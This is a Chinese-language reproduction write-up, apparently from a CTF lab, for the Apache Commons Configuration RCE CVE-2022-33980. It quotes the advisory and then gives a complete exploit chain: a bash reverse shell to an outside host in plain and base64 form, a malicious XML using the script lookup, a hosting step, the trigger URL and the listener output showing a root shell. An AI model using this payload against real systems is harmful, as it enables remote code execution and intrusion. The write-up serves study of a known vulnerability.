跳到主要内容

CVE-2022-33980

信息

Tags

  • Apache Commons Configuration 远程命令执行漏洞

官方数据库记录

Apache Commons Configuration 执行变量插值,允许动态评估和扩展属性。

插值的标准格式是 “${prefix:name}”,其中 “prefix” 用于定位执行插值的 org.apache.commons.configuration2.interpol.Lookup 实例。

从版本 2.4 开始一直到 2.7,默认 Lookup 实例集包含可能导致任意代码执行或与远程服务器联系的插值器。

这些查找是:

  • “script” - 使用 JVM 脚本执行引擎 (javax.script) 执行表达式
  • “dns” - 解析 dns 记录
  • “url” - 从 url 加载值,包括从远程服务器

使用插值默认值的应用程序如果使用不受信任的配置值,受影响的版本可能容易受到远程代码执行或无意中与远程服务器的联系。

建议用户升级到 Apache Commons Configuration 2.8.0,该版本默认禁用有问题的插值器。

参考 一些 cve 的复现 - 小黑的笔记

原始的恶意指令为

/bin/sh -i >& /dev/tcp/139.*.*.*/9999 0>&1

经过 Base64 编码后得到

L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS40LjU2Lzk5OTkgMD4mMQ==

在 vps 上构造恶意 xml

<?xml version="1.0" encoding="ISO-8859-1" ?>
<configuration>
<path>${script:js:java.lang.Runtime.getRuntime().exec("bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS40LjU2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}")}</path>
</configuration>

启动临时 http 服务器

root@jmt-projekt:~# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

然后访问服务

http://eci-2ze440yv0x20kqyxglfa.cloudeci1.ichunqiu.com/Url?url=http://139.*.*.*:8080/CVE-2022-33980.xml&data=path

即可收到反连的 shell

root@jmt-projekt:~# pwncat-cs -lp 9999
[17:18:30] Welcome to pwncat 🐈! __main__.py:164
[17:21:09] received connection from 39.106.20.178:29507 bind.py:84
[17:21:10] 0.0.0.0:9999: upgrading from /bin/dash to /bin/bash manager.py:957
[17:21:11] 39.106.20.178:29507: registered new host w/ db manager.py:957
(local) pwncat$ back
(remote) root@engine-2:/opt/app# cat /flag
flag{296b02e5-4fda-4031-a89f-ce813b77af1b}